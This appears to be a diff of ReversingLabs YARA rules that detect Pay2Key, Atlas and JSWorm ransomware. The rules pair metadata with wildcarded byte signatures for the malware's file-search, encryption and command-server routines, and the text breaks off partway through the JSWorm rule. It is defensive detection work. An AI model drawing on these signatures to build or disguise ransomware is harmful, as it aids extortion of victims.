+rule REVERSINGLABS_Win32_Ransomware_Pay2Key : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Pay2Key ransomware."
+		author = "ReversingLabs"
+		id = "2e482222-0483-5fe3-bb87-cfadda8e7e7a"
+		date = "2021-04-14"
+		modified = "2021-04-14"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Pay2Key.yara#L1-L99"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "2497504f3afc99523cb29e51652a24f4374316d57d4baf5cde8d22e75a425585"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Pay2Key"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ??
+            41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
+            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
+            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ??
+            56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50
+            50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5
+            89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
+            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA
+            ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF
+            80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41
+            F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ??
+            ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56
+            FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ??
+            2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9
+            74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
+            ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B
+            C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
+            ?? E9
+        }
+		$encrypt_files = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
+            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            8B 43 ?? 2B 43 ?? 75 ?? 8B 75 ?? 8B 45 ?? 8B 4D ?? C7 45 ?? ?? ?? ?? ?? 89 06 89 4E
+            ?? 8B 4D ?? 89 4E ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 ?? ?? 83 7B ?? ?? 74
+            ?? 8B 45 ?? 2B 45 ?? 50 E8 ?? ?? ?? ?? 8B 75 ?? 8B F8 8B 55 ?? 2B F2 56 52 57 E8 ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ??
+            56 89 75 ?? E8 ?? ?? ?? ?? 56 57 50 89 45 ?? E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? 83 C4
+            ?? 50 56 6A ?? 6A ?? 6A ?? FF 73 ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 85 C0 75 ?? 8B 75 ??
+            89 45 ?? 89 45 ?? 89 45 ?? 89 06 89 46 ?? 89 46 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 ?? ?? FF 75 ?? E8
+            ?? ?? ?? ?? FF 75 ?? 56 8B 75 ?? 56 E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 8B 4D ?? 8B 45
+            ?? C7 45 ?? ?? ?? ?? ?? 89 4F ?? 8D 4D ?? 89 37 89 47 ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ??
+            ?? ?? 59 5F 5E 5B 8B E5 5D C2
+        }
+		$remote_connection_p1 = {
+            55 8B EC 83 EC ?? 56 57 6A ?? 8B F2 8B F9 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? C7
+            45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 56 57 FF 15 ?? ?? ?? ??
+            8B 75 ?? 8B C8 8B D6 E8 ?? ?? ?? ?? 8B 0E 8B F8 83 F9 ?? 75 ?? 68 ?? ?? ?? ?? 8B CE
+            E8 ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? EB
+            ?? 81 F9 ?? ?? ?? ?? 74 ?? 81 F9 ?? ?? ?? ?? 74 ?? 85 FF 74 ?? 5F 83 C8 ?? 5E 8B E5
+            5D C3
+        }
+		$remote_connection_p2 = {
+            55 8B EC 51 53 56 8B F1 57 8B 46 ?? 83 C0 ?? 50 FF 15 ?? ?? ?? ?? 80 7D ?? ?? 6A ??
+            74 ?? 8B 4E ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ?? ?? 8B 45 ?? 8B 08
+            83 F9 ?? 75 ?? 8B 4E ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ??
+            ?? 8B 45 ?? 8B 7D ?? 57 89 45 ?? 8D 45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75
+            ?? FF 75 ?? 51 FF 15 ?? ?? ?? ?? 8B D8 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? B8 ?? ?? ??
+            ?? EB ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C1 85 DB 74 ?? 3D ?? ?? ?? ?? 74 ?? FF
+            75 ?? 8B 4E ?? 50 57 E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ?? ?? 8B 4E ?? 57 E8 ?? ?? ??
+            ?? 5F 5E 5B 59 5D C2
+        }
+		$remote_connection_p3 = {
+            55 8B EC 83 EC ?? 56 57 6A ?? 8B F2 8B F9 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 45
+            ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 56 57 FF 15 ?? ?? ?? ?? 8B 75 ?? 8B C8 8B D6 E8
+            ?? ?? ?? ?? 8B 0E 8B F8 83 F9 ?? 75 ?? 68 ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? 75 ??
+            68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 FF 74 ?? 5F 83 C8 ?? 5E 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ( all of ($remote_connection_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Atlas : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Atlas ransomware."
+		author = "ReversingLabs"
+		id = "2c702b24-4b7e-505c-a694-0d915cc47315"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Atlas.yara#L1-L99"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "1486f931ec096a00d913de0568ddd8aa5a091256445bc28aba90e3e194ebd045"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Atlas"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files = {
+            8B 74 24 ?? 8B 3D ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 52 56 FF D7 8B 94 24 ?? ?? ?? ?? 8D 44 24 ?? 8D 8C 24 ?? ?? ?? ?? 50 8B 84 24 ??
+            ?? ?? ?? 51 52 50 E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 8D 4C 24 ?? 8D 84 24 ?? ?? ??
+            ?? 6A ?? 51 8B 4C 24 ?? 52 50 51 FF 15 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? 52 55 53 56 FF
+            D7 8B 7C 24 ?? 33 C9 3B FD 89 4C 24 ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 33 F6 8A
+            84 34 ?? ?? ?? ?? 02 C1 F6 E9 88 44 34 ?? 8A 84 34 ?? ?? ?? ?? 02 C1 F6 E9 88 44 34
+            ?? 46 83 FE ?? 7C ?? 8B 74 24 ?? 57 56 8D 44 24 ?? 53 8D 8C 24 ?? ?? ?? ?? 50 51 E8
+            ?? ?? ?? ?? 8B 54 24 ?? 8D 84 24 ?? ?? ?? ?? 52 53 56 8D 8C 24 ?? ?? ?? ?? 50 51 E8
+            ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 83 C4 ?? 8D 54 24 ?? 6A ?? 52 50 53 51 FF 15 ??
+            ?? ?? ?? 8B 44 24 ?? 8D 54 24 ?? 6A ?? 52 55 53 50 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B
+            7C 24 ?? 41 3B FD 89 4C 24 ?? 0F 84 ?? ?? ?? ?? 8B 74 24 ?? 85 FF 74 ?? 8B 54 24 ??
+            8D 4C 24 ?? 6A ?? 51 57 53 52 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 44 24
+            ?? 50 FF D6 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 4C 24 ?? 68 ?? ?? ??
+            ?? 6A ?? 51 FF D6 5F 5E 5D 33 C0 5B 81 C4 ?? ?? ?? ?? C3
+        }
+		$remote_server_1 = {
+            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 33 C9 8D 94 24 ?? ?? ?? ?? 8A 0C 2E
+            8D 84 24 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 46 81 FE ?? ??
+            ?? ?? 7C ?? 8D 8C 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 52 E8 ?? ??
+            ?? ?? 83 C4 ?? 33 F6 33 C0 8D 8C 24 ?? ?? ?? ?? 8A 04 1E 8D 94 24 ?? ?? ?? ?? 50 51
+            68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 46 81 FE ?? ?? ?? ?? 7C ?? 8D 84 24 ?? ??
+            ?? ?? 8D BC 24 ?? ?? ?? ?? 50 83 C9 ?? 33 C0 33 F6 F2 AE F7 D1 49 51 8D 8C 24 ?? ??
+            ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 83 FE ??
+            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 46 FF 15 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 83 C9 ??
+            33 C0 8D 94 24 ?? ?? ?? ?? F2 AE F7 D1 49 52 8D 84 24 ?? ?? ?? ?? 51 50 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? BE ?? ?? ?? ?? 8D 84 24 ?? ??
+            ?? ?? 8A 10 8A 1E 8A CA 3A D3 75 ?? 84 C9 74 ?? 8A 50 ?? 8A 5E ?? 8A CA 3A D3 75 ??
+            83 C0 ?? 83 C6 ?? 84 C9 75 ?? 33 C0 EB
+        }
+		$remote_server_2 = {
+            68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 51 2B D8 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 52 03 D8 E8 ?? ?? ?? ?? 8B CB 8B F0 8B C1 83 C6 ?? 8D BC 24 ?? ?? ?? ?? 83 C4
+            ?? C1 E9 ?? F3 A5 8B C8 68 ?? ?? ?? ?? 83 E1 ?? 68 ?? ?? ?? ?? F3 A4 8D 8C 24 ?? ??
+            ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? BB
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 2B D8 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ??
+            ?? ?? ?? 03 D8 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B CB 8B F0 8B
+            D1 BF ?? ?? ?? ?? C1 E9 ?? F3 A5 83 C4 ?? 8B CA 83 E1 ?? 8D 84 24 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? F3 A4 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            BB ?? ?? ?? ?? 2B D8 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 03 D8 E8 ??
+            ?? ?? ?? 8B CB 8B F0 8B C1 83 C6 ?? BF ?? ?? ?? ?? 68 ?? ?? ?? ?? C1 E9 ?? F3 A5 8B
+            C8 68 ?? ?? ?? ?? 83 E1 ?? F3 A4 E8 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 83 C9 ?? 33 C0
+            83 C4 ?? F2 AE F7 D1 49 83 F9 ?? 0F 82 ?? ?? ?? ?? 33 F6 8D BC 24 ?? ?? ?? ?? 8D 8C
+            34 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 46 83 C7 ?? 81 FE ?? ??
+            ?? ?? 72 ?? 8B 3D ?? ?? ?? ?? FF D7 8D 94 24 ?? ?? ?? ?? 56 52 8B E8 E8 ?? ?? ?? ??
+            83 C4 ?? FF D7 8B F0 8D 44 24 ?? 50 2B F5 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            4C 24 ?? 8D 94 24 ?? ?? ?? ?? 51 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ??
+            8D 84 24 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 50 83 C9 ?? 33 C0 F2 AE F7 D1 49 51 8D 8C
+            24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
+        }
+		$send_post_packet = {
+            68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83
+            FE ?? 89 75 ?? 75 ?? 50 E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B
+            8B E5 5D C3 6A ?? 66 C7 45 ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 66 89 45 ?? 52 E8 ?? ??
+            ?? ?? 89 45 ?? 8D 45 ?? 6A ?? 50 56 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 E8 ?? ?? ?? ??
+            33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 8D BD ?? ?? ?? ?? 83 C9 ??
+            33 C0 6A ?? F2 AE F7 D1 49 51 8D 8D ?? ?? ?? ?? 51 56 E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
+            56 E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
+        }
+		$send_get_request = {
+            68 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83
+            FB ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 5F 5E 5D 33
+            C0 5B 81 C4 ?? ?? ?? ?? C3 6A ?? 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 66
+            89 44 24 ?? 52 E8 ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 6A ?? 50 53 E8 ?? ?? ?? ?? 83
+            F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 5F 5E 5D 33
+            C0 5B 81 C4 ?? ?? ?? ?? C3 8B FD 83 C9 ?? 33 C0 6A ?? F2 AE F7 D1 49 51 55 53 E8 ??
+            ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ??
+            5F 5E 5D 33 C0 5B 81 C4 ?? ?? ?? ?? C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $encrypt_files and $remote_server_1 and $remote_server_2 and $send_post_packet and $send_get_request
+}
+rule REVERSINGLABS_Win32_Ransomware_Jsworm : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects JSWorm ransomware."
+		author = "ReversingLabs"
+		id = "a4702cc3-1e08-5631-b832-5d28cb92a819"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.JSWorm.yara#L1-L93"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "8ba5e2f29f5f06e6e6714bbba1129862da8c3a83bf7f296818eddee2593cae38"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "JSWorm"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A8 ??
+            0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 45 ?? ?? 8B 4E ?? 8B 56 ?? 3B CA 73
+            ?? 8D 41 ?? 89 46 ?? 8B C6 83 FA ?? 72 ?? 8B 06 C7 04 48 ?? ?? ?? ?? EB ?? 6A ?? C6
+            85 ?? ?? ?? ?? ?? 8B CE FF B5 ?? ?? ?? ?? 6A ?? E8
+        }
+		$find_drives = {
+            68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 0F 84 ??
+            ?? ?? ?? 8B CE C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 51 ?? 8A 01
+            41 84 C0 75 ?? 2B CA 51 56 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8B
+            CC 89 65 ?? 33 C0 6A ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 66
+            89 01 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 55 ?? 8B CC E8 ?? ?? ?? ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B
+            C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8
+            ?? ?? ?? ?? 83 C4 ?? 8B C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 46 03 F0 38 0E 0F 85
+            ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5
+            5D C3 E8 ?? ?? ?? ?? E8
+        }
+		$encrypt_files_p1 = {
+            8B 00 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F0 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ??
+            42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ??
+            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FA ??
+            72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ??
+            83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            CB C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 E6 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 66 89
+            85 ?? ?? ?? ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 53 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 78 ?? ?? 72 ?? 8B 00 56 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 FA
+            ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
+            83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ??
+            ?? 8B 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6
+            85 ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA
+            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF
+            15 ?? ?? ?? ?? 8B D8 8D 45 ?? 50 53 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ??
+            0F 8C ?? ?? ?? ?? 7F ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53
+            FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 8B F8 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ??
+            B9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? F3 A5 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 33 F6
+        }
+		$encrypt_files_p2 = {
+            8B 86 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 86 ?? ?? ?? ?? 89 85 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
+            86 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 86 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ??
+            6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53
+            FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B F4 8B CA 33 C0
+            C7 46 ?? ?? ?? ?? ?? 8D 79 ?? C7 46 ?? ?? ?? ?? ?? 66 89 06 66 8B 01 83 C1 ?? 66 85
